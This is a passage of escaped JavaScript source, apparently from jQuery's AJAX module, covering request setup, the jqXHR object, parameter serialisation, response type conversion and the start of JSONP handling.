build a param string\n\t\t\t} else if ( typeof params === \"object\" ) {\n\t\t\t\tparams = jQuery.param( params, jQuery.ajaxSettings.traditional );\n\t\t\t\ttype = \"POST\";\n\t\t\t}\n\t\t}\n\n\t\tvar self = this;\n\n\t\t// Request the remote document\n\t\tjQuery.ajax({\n\t\t\turl: url,\n\t\t\ttype: type,\n\t\t\tdataType: \"html\",\n\t\t\tdata: params,\n\t\t\t// Complete callback (responseText is used internally)\n\t\t\tcomplete: function( jqXHR, status, responseText ) {\n\t\t\t\t// Store the response as specified by the jqXHR object\n\t\t\t\tresponseText = jqXHR.responseText;\n\t\t\t\t// If successful, inject the HTML into all the matched elements\n\t\t\t\tif ( jqXHR.isResolved() ) {\n\t\t\t\t\t// #4825: Get the actual response in case\n\t\t\t\t\t// a dataFilter is present in ajaxSettings\n\t\t\t\t\tjqXHR.done(function( r ) {\n\t\t\t\t\t\tresponseText = r;\n\t\t\t\t\t});\n\t\t\t\t\t// See if a selector was specified\n\t\t\t\t\tself.html( selector ?\n\t\t\t\t\t\t// Create a dummy div to hold the results\n\t\t\t\t\t\tjQuery(\"<div>\")\n\t\t\t\t\t\t\t// inject the contents of the document in, removing the scripts\n\t\t\t\t\t\t\t// to avoid any 'Permission Denied' errors in IE\n\t\t\t\t\t\t\t.append(responseText.replace(rscript, \"\"))\n\n\t\t\t\t\t\t\t// Locate the specified elements\n\t\t\t\t\t\t\t.find(selector) :\n\n\t\t\t\t\t\t// If not, just inject the full result\n\t\t\t\t\t\tresponseText );\n\t\t\t\t}\n\n\t\t\t\tif ( callback ) {\n\t\t\t\t\tself.each( callback, [ responseText, status, jqXHR ] );\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\n\t\treturn this;\n\t},\n\n\tserialize: function() {\n\t\treturn jQuery.param( this.serializeArray() );\n\t},\n\n\tserializeArray: function() {\n\t\treturn this.map(function(){\n\t\t\treturn this.elements ? jQuery.makeArray( this.elements ) : this;\n\t\t})\n\t\t.filter(function(){\n\t\t\treturn this.name && !this.disabled &&\n\t\t\t\t( this.checked || rselectTextarea.test( this.nodeName ) ||\n\t\t\t\t\trinput.test( this.type ) );\n\t\t})\n\t\t.map(function( i, elem ){\n\t\t\tvar val = jQuery( this ).val();\n\n\t\t\treturn val == null ?\n\t\t\t\tnull :\n\t\t\t\tjQuery.isArray( val ) ?\n\t\t\t\t\tjQuery.map( val, function( val, i ){\n\t\t\t\t\t\treturn { name: elem.name, value: val.replace( rCRLF, \"\\r\\n\" ) };\n\t\t\t\t\t}) :\n\t\t\t\t\t{ name: elem.name, value: val.replace( rCRLF, \"\\r\\n\" ) };\n\t\t}).get();\n\t}\n});\n\n// Attach a bunch of functions for handling common AJAX events\njQuery.each( \"ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend\".split( \" \" ), function( i, o ){\n\tjQuery.fn[ o ] = function( f ){\n\t\treturn this.on( o, f );\n\t};\n});\n\njQuery.each( [ \"get\", \"post\" ], function( i, method ) {\n\tjQuery[ method ] = function( url, data, callback, type ) {\n\t\t// shift arguments if data argument was omitted\n\t\tif ( jQuery.isFunction( data ) ) {\n\t\t\ttype = type || callback;\n\t\t\tcallback = data;\n\t\t\tdata = undefined;\n\t\t}\n\n\t\treturn jQuery.ajax({\n\t\t\ttype: method,\n\t\t\turl: url,\n\t\t\tdata: data,\n\t\t\tsuccess: callback,\n\t\t\tdataType: type\n\t\t});\n\t};\n});\n\njQuery.extend({\n\n\tgetScript: function( url, callback ) {\n\t\treturn jQuery.get( url, undefined, callback, \"script\" );\n\t},\n\n\tgetJSON: function( url, data, callback ) {\n\t\treturn jQuery.get( url, data, callback, \"json\" );\n\t},\n\n\t// Creates a full fledged settings object into target\n\t// with both ajaxSettings and settings fields.\n\t// If target is omitted, writes into ajaxSettings.\n\tajaxSetup: function( target, settings ) {\n\t\tif ( settings ) {\n\t\t\t// Building a settings object\n\t\t\tajaxExtend( target, jQuery.ajaxSettings );\n\t\t} else {\n\t\t\t// Extending ajaxSettings\n\t\t\tsettings = target;\n\t\t\ttarget = jQuery.ajaxSettings;\n\t\t}\n\t\tajaxExtend( target, settings );\n\t\treturn target;\n\t},\n\n\tajaxSettings: {\n\t\turl: ajaxLocation,\n\t\tisLocal: rlocalProtocol.test( ajaxLocParts[ 1 ] ),\n\t\tglobal: true,\n\t\ttype: \"GET\",\n\t\tcontentType: \"application/x-www-form-urlencoded; charset=UTF-8\",\n\t\tprocessData: true,\n\t\tasync: true,\n\t\t/*\n\t\ttimeout: 0,\n\t\tdata: null,\n\t\tdataType: null,\n\t\tusername: null,\n\t\tpassword: null,\n\t\tcache: null,\n\t\ttraditional: false,\n\t\theaders: {},\n\t\t*/\n\n\t\taccepts: {\n\t\t\txml: \"application/xml, text/xml\",\n\t\t\thtml: \"text/html\",\n\t\t\ttext: \"text/plain\",\n\t\t\tjson: \"application/json, text/javascript\",\n\t\t\t\"*\": allTypes\n\t\t},\n\n\t\tcontents: {\n\t\t\txml: /xml/,\n\t\t\thtml: /html/,\n\t\t\tjson: /json/\n\t\t},\n\n\t\tresponseFields: {\n\t\t\txml: \"responseXML\",\n\t\t\ttext: \"responseText\"\n\t\t},\n\n\t\t// List of data converters\n\t\t// 1) key format is \"source_type destination_type\" (a single space in-between)\n\t\t// 2) the catchall symbol \"*\" can be used for source_type\n\t\tconverters: {\n\n\t\t\t// Convert anything to text\n\t\t\t\"* text\": window.String,\n\n\t\t\t// Text to html (true = no transformation)\n\t\t\t\"text html\": true,\n\n\t\t\t// Evaluate text as a json expression\n\t\t\t\"text json\": jQuery.parseJSON,\n\n\t\t\t// Parse text as xml\n\t\t\t\"text xml\": jQuery.parseXML\n\t\t},\n\n\t\t// For options that shouldn't be deep extended:\n\t\t// you can add your own custom options here if\n\t\t// and when you create one that shouldn't be\n\t\t// deep extended (see ajaxExtend)\n\t\tflatOptions: {\n\t\t\tcontext: true,\n\t\t\turl: true\n\t\t}\n\t},\n\n\tajaxPrefilter: addToPrefiltersOrTransports( prefilters ),\n\tajaxTransport: addToPrefiltersOrTransports( transports ),\n\n\t// Main method\n\tajax: function( url, options ) {\n\n\t\t// If url is an object, simulate pre-1.5 signature\n\t\tif ( typeof url === \"object\" ) {\n\t\t\toptions = url;\n\t\t\turl = undefined;\n\t\t}\n\n\t\t// Force options to be an object\n\t\toptions = options || {};\n\n\t\tvar // Create the final options object\n\t\t\ts = jQuery.ajaxSetup( {}, options ),\n\t\t\t// Callbacks context\n\t\t\tcallbackContext = s.context || s,\n\t\t\t// Context for global events\n\t\t\t// It's the callbackContext if one was provided in the options\n\t\t\t// and if it's a DOM node or a jQuery collection\n\t\t\tglobalEventContext = callbackContext !== s &&\n\t\t\t\t( callbackContext.nodeType || callbackContext instanceof jQuery ) ?\n\t\t\t\t\t\tjQuery( callbackContext ) : jQuery.event,\n\t\t\t// Deferreds\n\t\t\tdeferred = jQuery.Deferred(),\n\t\t\tcompleteDeferred = jQuery.Callbacks( \"once memory\" ),\n\t\t\t// Status-dependent callbacks\n\t\t\tstatusCode = s.statusCode || {},\n\t\t\t// ifModified key\n\t\t\tifModifiedKey,\n\t\t\t// Headers (they are sent all at once)\n\t\t\trequestHeaders = {},\n\t\t\trequestHeadersNames = {},\n\t\t\t// Response headers\n\t\t\tresponseHeadersString,\n\t\t\tresponseHeaders,\n\t\t\t// transport\n\t\t\ttransport,\n\t\t\t// timeout handle\n\t\t\ttimeoutTimer,\n\t\t\t// Cross-domain detection vars\n\t\t\tparts,\n\t\t\t// The jqXHR state\n\t\t\tstate = 0,\n\t\t\t// To know if global events are to be dispatched\n\t\t\tfireGlobals,\n\t\t\t// Loop variable\n\t\t\ti,\n\t\t\t// Fake xhr\n\t\t\tjqXHR = {\n\n\t\t\t\treadyState: 0,\n\n\t\t\t\t// Caches the header\n\t\t\t\tsetRequestHeader: function( name, value ) {\n\t\t\t\t\tif ( !state ) {\n\t\t\t\t\t\tvar lname = name.toLowerCase();\n\t\t\t\t\t\tname = requestHeadersNames[ lname ] = requestHeadersNames[ lname ] || name;\n\t\t\t\t\t\trequestHeaders[ name ] = value;\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Raw string\n\t\t\t\tgetAllResponseHeaders: function() {\n\t\t\t\t\treturn state === 2 ? responseHeadersString : null;\n\t\t\t\t},\n\n\t\t\t\t// Builds headers hashtable if needed\n\t\t\t\tgetResponseHeader: function( key ) {\n\t\t\t\t\tvar match;\n\t\t\t\t\tif ( state === 2 ) {\n\t\t\t\t\t\tif ( !responseHeaders ) {\n\t\t\t\t\t\t\tresponseHeaders = {};\n\t\t\t\t\t\t\twhile( ( match = rheaders.exec( responseHeadersString ) ) ) {\n\t\t\t\t\t\t\t\tresponseHeaders[ match[1].toLowerCase() ] = match[ 2 ];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tmatch = responseHeaders[ key.toLowerCase() ];\n\t\t\t\t\t}\n\t\t\t\t\treturn match === undefined ? null : match;\n\t\t\t\t},\n\n\t\t\t\t// Overrides response content-type header\n\t\t\t\toverrideMimeType: function( type ) {\n\t\t\t\t\tif ( !state ) {\n\t\t\t\t\t\ts.mimeType = type;\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Cancel the request\n\t\t\t\tabort: function( statusText ) {\n\t\t\t\t\tstatusText = statusText || \"abort\";\n\t\t\t\t\tif ( transport ) {\n\t\t\t\t\t\ttransport.abort( statusText );\n\t\t\t\t\t}\n\t\t\t\t\tdone( 0, statusText );\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\t\t\t};\n\n\t\t// Callback for when everything is done\n\t\t// It is defined here because jslint complains if it is declared\n\t\t// at the end of the function (which would be more logical and readable)\n\t\tfunction done( status, nativeStatusText, responses, headers ) {\n\n\t\t\t// Called once\n\t\t\tif ( state === 2 ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// State is \"done\" now\n\t\t\tstate = 2;\n\n\t\t\t// Clear timeout if it exists\n\t\t\tif ( timeoutTimer ) {\n\t\t\t\tclearTimeout( timeoutTimer );\n\t\t\t}\n\n\t\t\t// Dereference transport for early garbage collection\n\t\t\t// (no matter how long the jqXHR object will be used)\n\t\t\ttransport = undefined;\n\n\t\t\t// Cache response headers\n\t\t\tresponseHeadersString = headers || \"\";\n\n\t\t\t// Set readyState\n\t\t\tjqXHR.readyState = status > 0 ? 4 : 0;\n\n\t\t\tvar isSuccess,\n\t\t\t\tsuccess,\n\t\t\t\terror,\n\t\t\t\tstatusText = nativeStatusText,\n\t\t\t\tresponse = responses ? ajaxHandleResponses( s, jqXHR, responses ) : undefined,\n\t\t\t\tlastModified,\n\t\t\t\tetag;\n\n\t\t\t// If successful, handle type chaining\n\t\t\tif ( status >= 200 && status < 300 || status === 304 ) {\n\n\t\t\t\t// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n\t\t\t\tif ( s.ifModified ) {\n\n\t\t\t\t\tif ( ( lastModified = jqXHR.getResponseHeader( \"Last-Modified\" ) ) ) {\n\t\t\t\t\t\tjQuery.lastModified[ ifModifiedKey ] = lastModified;\n\t\t\t\t\t}\n\t\t\t\t\tif ( ( etag = jqXHR.getResponseHeader( \"Etag\" ) ) ) {\n\t\t\t\t\t\tjQuery.etag[ ifModifiedKey ] = etag;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// If not modified\n\t\t\t\tif ( status === 304 ) {\n\n\t\t\t\t\tstatusText = \"notmodified\";\n\t\t\t\t\tisSuccess = true;\n\n\t\t\t\t// If we have data\n\t\t\t\t} else {\n\n\t\t\t\t\ttry {\n\t\t\t\t\t\tsuccess = ajaxConvert( s, response );\n\t\t\t\t\t\tstatusText = \"success\";\n\t\t\t\t\t\tisSuccess = true;\n\t\t\t\t\t} catch(e) {\n\t\t\t\t\t\t// We have a parsererror\n\t\t\t\t\t\tstatusText = \"parsererror\";\n\t\t\t\t\t\terror = e;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// We extract error from statusText\n\t\t\t\t// then normalize statusText and status for non-aborts\n\t\t\t\terror = statusText;\n\t\t\t\tif ( !statusText || status ) {\n\t\t\t\t\tstatusText = \"error\";\n\t\t\t\t\tif ( status < 0 ) {\n\t\t\t\t\t\tstatus = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set data for the fake xhr object\n\t\t\tjqXHR.status = status;\n\t\t\tjqXHR.statusText = \"\" + ( nativeStatusText || statusText );\n\n\t\t\t// Success/Error\n\t\t\tif ( isSuccess ) {\n\t\t\t\tdeferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );\n\t\t\t} else {\n\t\t\t\tdeferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );\n\t\t\t}\n\n\t\t\t// Status-dependent callbacks\n\t\t\tjqXHR.statusCode( statusCode );\n\t\t\tstatusCode = undefined;\n\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( \"ajax\" + ( isSuccess ? \"Success\" : \"Error\" ),\n\t\t\t\t\t\t[ jqXHR, s, isSuccess ? success : error ] );\n\t\t\t}\n\n\t\t\t// Complete\n\t\t\tcompleteDeferred.fireWith( callbackContext, [ jqXHR, statusText ] );\n\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( \"ajaxComplete\", [ jqXHR, s ] );\n\t\t\t\t// Handle the global AJAX counter\n\t\t\t\tif ( !( --jQuery.active ) ) {\n\t\t\t\t\tjQuery.event.trigger( \"ajaxStop\" );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Attach deferreds\n\t\tdeferred.promise( jqXHR );\n\t\tjqXHR.success = jqXHR.done;\n\t\tjqXHR.error = jqXHR.fail;\n\t\tjqXHR.complete = completeDeferred.add;\n\n\t\t// Status-dependent callbacks\n\t\tjqXHR.statusCode = function( map ) {\n\t\t\tif ( map ) {\n\t\t\t\tvar tmp;\n\t\t\t\tif ( state < 2 ) {\n\t\t\t\t\tfor ( tmp in map ) {\n\t\t\t\t\t\tstatusCode[ tmp ] = [ statusCode[tmp], map[tmp] ];\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\ttmp = map[ jqXHR.status ];\n\t\t\t\t\tjqXHR.then( tmp, tmp );\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn this;\n\t\t};\n\n\t\t// Remove hash character (#7531: and string promotion)\n\t\t// Add protocol if not provided (#5866: IE7 issue with protocol-less urls)\n\t\t// We also use the url parameter if available\n\t\ts.url = ( ( url || s.url ) + \"\" ).replace( rhash, \"\" ).replace( rprotocol, ajaxLocParts[ 1 ] + \"//\" );\n\n\t\t// Extract dataTypes list\n\t\ts.dataTypes = jQuery.trim( s.dataType || \"*\" ).toLowerCase().split( rspacesAjax );\n\n\t\t// Determine if a cross-domain request is in order\n\t\tif ( s.crossDomain == null ) {\n\t\t\tparts = rurl.exec( s.url.toLowerCase() );\n\t\t\ts.crossDomain = !!( parts &&\n\t\t\t\t( parts[ 1 ] != ajaxLocParts[ 1 ] || parts[ 2 ] != ajaxLocParts[ 2 ] ||\n\t\t\t\t\t( parts[ 3 ] || ( parts[ 1 ] === \"http:\" ? 80 : 443 ) ) !=\n\t\t\t\t\t\t( ajaxLocParts[ 3 ] || ( ajaxLocParts[ 1 ] === \"http:\" ? 80 : 443 ) ) )\n\t\t\t);\n\t\t}\n\n\t\t// Convert data if not already a string\n\t\tif ( s.data && s.processData && typeof s.data !== \"string\" ) {\n\t\t\ts.data = jQuery.param( s.data, s.traditional );\n\t\t}\n\n\t\t// Apply prefilters\n\t\tinspectPrefiltersOrTransports( prefilters, s, options, jqXHR );\n\n\t\t// If request was aborted inside a prefilter, stop there\n\t\tif ( state === 2 ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// We can fire global events as of now if asked to\n\t\tfireGlobals = s.global;\n\n\t\t// Uppercase the type\n\t\ts.type = s.type.toUpperCase();\n\n\t\t// Determine if request has content\n\t\ts.hasContent = !rnoContent.test( s.type );\n\n\t\t// Watch for a new set of requests\n\t\tif ( fireGlobals && jQuery.active++ === 0 ) {\n\t\t\tjQuery.event.trigger( \"ajaxStart\" );\n\t\t}\n\n\t\t// More options handling for requests with no content\n\t\tif ( !s.hasContent ) {\n\n\t\t\t// If data is available, append data to url\n\t\t\tif ( s.data ) {\n\t\t\t\ts.url += ( rquery.test( s.url ) ? \"&\" : \"?\" ) + s.data;\n\t\t\t\t// #9682: remove data so that it's not used in an eventual retry\n\t\t\t\tdelete s.data;\n\t\t\t}\n\n\t\t\t// Get ifModifiedKey before adding the anti-cache parameter\n\t\t\tifModifiedKey = s.url;\n\n\t\t\t// Add anti-cache in url if needed\n\t\t\tif ( s.cache === false ) {\n\n\t\t\t\tvar ts = jQuery.now(),\n\t\t\t\t\t// try replacing _= if it is there\n\t\t\t\t\tret = s.url.replace( rts, \"$1_=\" + ts );\n\n\t\t\t\t// if nothing was replaced, add timestamp to the end\n\t\t\t\ts.url = ret + ( ( ret === s.url ) ? ( rquery.test( s.url ) ? \"&\" : \"?\" ) + \"_=\" + ts : \"\" );\n\t\t\t}\n\t\t}\n\n\t\t// Set the correct header, if data is being sent\n\t\tif ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {\n\t\t\tjqXHR.setRequestHeader( \"Content-Type\", s.contentType );\n\t\t}\n\n\t\t// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n\t\tif ( s.ifModified ) {\n\t\t\tifModifiedKey = ifModifiedKey || s.url;\n\t\t\tif ( jQuery.lastModified[ ifModifiedKey ] ) {\n\t\t\t\tjqXHR.setRequestHeader( \"If-Modified-Since\", jQuery.lastModified[ ifModifiedKey ] );\n\t\t\t}\n\t\t\tif ( jQuery.etag[ ifModifiedKey ] ) {\n\t\t\t\tjqXHR.setRequestHeader( \"If-None-Match\", jQuery.etag[ ifModifiedKey ] );\n\t\t\t}\n\t\t}\n\n\t\t// Set the Accepts header for the server, depending on the dataType\n\t\tjqXHR.setRequestHeader(\n\t\t\t\"Accept\",\n\t\t\ts.dataTypes[ 0 ] && s.accepts[ s.dataTypes[0] ] ?\n\t\t\t\ts.accepts[ s.dataTypes[0] ] + ( s.dataTypes[ 0 ] !== \"*\" ? \", \" + allTypes + \"; q=0.01\" : \"\" ) :\n\t\t\t\ts.accepts[ \"*\" ]\n\t\t);\n\n\t\t// Check for headers option\n\t\tfor ( i in s.headers ) {\n\t\t\tjqXHR.setRequestHeader( i, s.headers[ i ] );\n\t\t}\n\n\t\t// Allow custom headers/mimetypes and early abort\n\t\tif ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || state === 2 ) ) {\n\t\t\t\t// Abort if not done already\n\t\t\t\tjqXHR.abort();\n\t\t\t\treturn false;\n\n\t\t}\n\n\t\t// Install callbacks on deferreds\n\t\tfor ( i in { success: 1, error: 1, complete: 1 } ) {\n\t\t\tjqXHR[ i ]( s[ i ] );\n\t\t}\n\n\t\t// Get transport\n\t\ttransport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );\n\n\t\t// If no transport, we auto-abort\n\t\tif ( !transport ) {\n\t\t\tdone( -1, \"No Transport\" );\n\t\t} else {\n\t\t\tjqXHR.readyState = 1;\n\t\t\t// Send global event\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( \"ajaxSend\", [ jqXHR, s ] );\n\t\t\t}\n\t\t\t// Timeout\n\t\t\tif ( s.async && s.timeout > 0 ) {\n\t\t\t\ttimeoutTimer = setTimeout( function(){\n\t\t\t\t\tjqXHR.abort( \"timeout\" );\n\t\t\t\t}, s.timeout );\n\t\t\t}\n\n\t\t\ttry {\n\t\t\t\tstate = 1;\n\t\t\t\ttransport.send( requestHeaders, done );\n\t\t\t} catch (e) {\n\t\t\t\t// Propagate exception as error if not done\n\t\t\t\tif ( state < 2 ) {\n\t\t\t\t\tdone( -1, e );\n\t\t\t\t// Simply rethrow otherwise\n\t\t\t\t} else {\n\t\t\t\t\tthrow e;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn jqXHR;\n\t},\n\n\t// Serialize an array of form elements or a set of\n\t// key/values into a query string\n\tparam: function( a, traditional ) {\n\t\tvar s = [],\n\t\t\tadd = function( key, value ) {\n\t\t\t\t// If value is a function, invoke it and return its value\n\t\t\t\tvalue = jQuery.isFunction( value ) ? value() : value;\n\t\t\t\ts[ s.length ] = encodeURIComponent( key ) + \"=\" + encodeURIComponent( value );\n\t\t\t};\n\n\t\t// Set traditional to true for jQuery <= 1.3.2 behavior.\n\t\tif ( traditional === undefined ) {\n\t\t\ttraditional = jQuery.ajaxSettings.traditional;\n\t\t}\n\n\t\t// If an array was passed in, assume that it is an array of form elements.\n\t\tif ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {\n\t\t\t// Serialize the form elements\n\t\t\tjQuery.each( a, function() {\n\t\t\t\tadd( this.name, this.value );\n\t\t\t});\n\n\t\t} else {\n\t\t\t// If traditional, encode the \"old\" way (the way 1.3.2 or older\n\t\t\t// did it), otherwise encode params recursively.\n\t\t\tfor ( var prefix in a ) {\n\t\t\t\tbuildParams( prefix, a[ prefix ], traditional, add );\n\t\t\t}\n\t\t}\n\n\t\t// Return the resulting serialization\n\t\treturn s.join( \"&\" ).replace( r20, \"+\" );\n\t}\n});\n\nfunction buildParams( prefix, obj, traditional, add ) {\n\tif ( jQuery.isArray( obj ) ) {\n\t\t// Serialize array item.\n\t\tjQuery.each( obj, function( i, v ) {\n\t\t\tif ( traditional || rbracket.test( prefix ) ) {\n\t\t\t\t// Treat each array item as a scalar.\n\t\t\t\tadd( prefix, v );\n\n\t\t\t} else {\n\t\t\t\t// If array item is non-scalar (array or object), encode its\n\t\t\t\t// numeric index to resolve deserialization ambiguity issues.\n\t\t\t\t// Note that rack (as of 1.0.0) can't currently deserialize\n\t\t\t\t// nested arrays properly, and attempting to do so may cause\n\t\t\t\t// a server error. Possible fixes are to modify rack's\n\t\t\t\t// deserialization algorithm or to provide an option or flag\n\t\t\t\t// to force array serialization to be shallow.\n\t\t\t\tbuildParams( prefix + \"[\" + ( typeof v === \"object\" ? i : \"\" ) + \"]\", v, traditional, add );\n\t\t\t}\n\t\t});\n\n\t} else if ( !traditional && jQuery.type( obj ) === \"object\" ) {\n\t\t// Serialize object item.\n\t\tfor ( var name in obj ) {\n\t\t\tbuildParams( prefix + \"[\" + name + \"]\", obj[ name ], traditional, add );\n\t\t}\n\n\t} else {\n\t\t// Serialize scalar item.\n\t\tadd( prefix, obj );\n\t}\n}\n\n// This is still on the jQuery object... for now\n// Want to move this to jQuery.ajax some day\njQuery.extend({\n\n\t// Counter for holding the number of active queries\n\tactive: 0,\n\n\t// Last-Modified header cache for next request\n\tlastModified: {},\n\tetag: {}\n\n});\n\n/* Handles responses to an ajax request:\n * - sets all responseXXX fields accordingly\n * - finds the right dataType (mediates between content-type and expected dataType)\n * - returns the corresponding response\n */\nfunction ajaxHandleResponses( s, jqXHR, responses ) {\n\n\tvar contents = s.contents,\n\t\tdataTypes = s.dataTypes,\n\t\tresponseFields = s.responseFields,\n\t\tct,\n\t\ttype,\n\t\tfinalDataType,\n\t\tfirstDataType;\n\n\t// Fill responseXXX fields\n\tfor ( type in responseFields ) {\n\t\tif ( type in responses ) {\n\t\t\tjqXHR[ responseFields[type] ] = responses[ type ];\n\t\t}\n\t}\n\n\t// Remove auto dataType and get content-type in the process\n\twhile( dataTypes[ 0 ] === \"*\" ) {\n\t\tdataTypes.shift();\n\t\tif ( ct === undefined ) {\n\t\t\tct = s.mimeType || jqXHR.getResponseHeader( \"content-type\" );\n\t\t}\n\t}\n\n\t// Check if we're dealing with a known content-type\n\tif ( ct ) {\n\t\tfor ( type in contents ) {\n\t\t\tif ( contents[ type ] && contents[ type ].test( ct ) ) {\n\t\t\t\tdataTypes.unshift( type );\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\t// Check to see if we have a response for the expected dataType\n\tif ( dataTypes[ 0 ] in responses ) {\n\t\tfinalDataType = dataTypes[ 0 ];\n\t} else {\n\t\t// Try convertible dataTypes\n\t\tfor ( type in responses ) {\n\t\t\tif ( !dataTypes[ 0 ] || s.converters[ type + \" \" + dataTypes[0] ] ) {\n\t\t\t\tfinalDataType = type;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif ( !firstDataType ) {\n\t\t\t\tfirstDataType = type;\n\t\t\t}\n\t\t}\n\t\t// Or just use first one\n\t\tfinalDataType = finalDataType || firstDataType;\n\t}\n\n\t// If we found a dataType\n\t// We add the dataType to the list if needed\n\t// and return the corresponding response\n\tif ( finalDataType ) {\n\t\tif ( finalDataType !== dataTypes[ 0 ] ) {\n\t\t\tdataTypes.unshift( finalDataType );\n\t\t}\n\t\treturn responses[ finalDataType ];\n\t}\n}\n\n// Chain conversions given the request and the original response\nfunction ajaxConvert( s, response ) {\n\n\t// Apply the dataFilter if provided\n\tif ( s.dataFilter ) {\n\t\tresponse = s.dataFilter( response, s.dataType );\n\t}\n\n\tvar dataTypes = s.dataTypes,\n\t\tconverters = {},\n\t\ti,\n\t\tkey,\n\t\tlength = dataTypes.length,\n\t\ttmp,\n\t\t// Current and previous dataTypes\n\t\tcurrent = dataTypes[ 0 ],\n\t\tprev,\n\t\t// Conversion expression\n\t\tconversion,\n\t\t// Conversion function\n\t\tconv,\n\t\t// Conversion functions (transitive conversion)\n\t\tconv1,\n\t\tconv2;\n\n\t// For each dataType in the chain\n\tfor ( i = 1; i < length; i++ ) {\n\n\t\t// Create converters map\n\t\t// with lowercased keys\n\t\tif ( i === 1 ) {\n\t\t\tfor ( key in s.converters ) {\n\t\t\t\tif ( typeof key === \"string\" ) {\n\t\t\t\t\tconverters[ key.toLowerCase() ] = s.converters[ key ];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Get the dataTypes\n\t\tprev = current;\n\t\tcurrent = dataTypes[ i ];\n\n\t\t// If current is auto dataType, update it to prev\n\t\tif ( current === \"*\" ) {\n\t\t\tcurrent = prev;\n\t\t// If no auto and dataTypes are actually different\n\t\t} else if ( prev !== \"*\" && prev !== current ) {\n\n\t\t\t// Get the converter\n\t\t\tconversion = prev + \" \" + current;\n\t\t\tconv = converters[ conversion ] || converters[ \"* \" + current ];\n\n\t\t\t// If there is no direct converter, search transitively\n\t\t\tif ( !conv ) {\n\t\t\t\tconv2 = undefined;\n\t\t\t\tfor ( conv1 in converters ) {\n\t\t\t\t\ttmp = conv1.split( \" \" );\n\t\t\t\t\tif ( tmp[ 0 ] === prev || tmp[ 0 ] === \"*\" ) {\n\t\t\t\t\t\tconv2 = converters[ tmp[1] + \" \" + current ];\n\t\t\t\t\t\tif ( conv2 ) {\n\t\t\t\t\t\t\tconv1 = converters[ conv1 ];\n\t\t\t\t\t\t\tif ( conv1 === true ) {\n\t\t\t\t\t\t\t\tconv = conv2;\n\t\t\t\t\t\t\t} else if ( conv2 === true ) {\n\t\t\t\t\t\t\t\tconv = conv1;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t// If we found no converter, dispatch an error\n\t\t\tif ( !( conv || conv2 ) ) {\n\t\t\t\tjQuery.error( \"No conversion from \" + conversion.replace(\" \",\" to \") );\n\t\t\t}\n\t\t\t// If found converter is not an equivalence\n\t\t\tif ( conv !== true ) {\n\t\t\t\t// Convert with 1 or 2 converters accordingly\n\t\t\t\tresponse = conv ? conv( response ) : conv2( conv1(response) );\n\t\t\t}\n\t\t}\n\t}\n\treturn response;\n}\n\n\n\n\nvar jsc = jQuery.now(),\n\tjsre = /(\\=)\\?(&|$)|\\?\\?/i;\n\n// Default jsonp settings\njQuery.ajaxSetup({\n\tjsonp: \"callback\",\n\tjsonpCallback: function() {\n\t\treturn jQuery.expando + \"_\" + ( jsc++ );\n\t}\n});\n\n// Detect, normalize options and install callbacks for jsonp requests\njQuery.ajaxPrefilter( \"json jsonp\", function( s, originalSettings, jqXHR ) {\n\n\tvar inspectData = ( typeof s.data === \"string\" ) && /^application\\/x\\-www\\-form\\-urlencoded/.test( s.contentType );\n\n\tif ( s.dataTypes[ 0 ] === \"jsonp\" ||\n\t\ts.jsonp !== false && ( jsre.test( s.url ) ||\n\t\t\t\tinspectData && jsre.test( s.data ) ) ) {\n\n\t\tvar responseContainer,\n\t\t\tjsonpCallback = s.jsonpCallback =\n\t\t\t\tjQuery.isFunction( s.jsonpCallback ) ? s.jsonpCallback() : s.jsonpCallback,\n\t\t\tprevious = window[ jsonpCallback ],\n\t\t\turl = s.url,\n\t\t\tdata = s.data,\n\t\t\treplace = \"$1\" + jsonpCallback + \"$2\";\n\n\t\tif ( s.jsonp !== false ) {\n\t\t\turl = url.replace( jsre, replace );\n\t\t\tif ( s.url === url ) {\n\t\t\t\tif ( inspectData ) {\n\t\t\t\t\tdata = data.replace( jsre, replace );\n\t\t\t\t}\n\t\t\t\tif ( s.data === data ) {\n\t\t\t\t\t// Add callback manually\n\t\t\t\t\turl += (/\\?/.test( url ) ? \"&\" : \"?\") + s.jsonp + \"=\" + jsonpCallback;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\ts.url = url;\n\t\ts.data = data;\n\n\t\t// Install callback\n\t\twindow[ jsonpCallback ] = function( response ) {\n\t\t\tresponseContainer = [ response ];\n\t\t};\n\n\t\t// Clean-up function\n\t\tjqXHR.always(function() {\n\t\t\t// Set callback back to previous 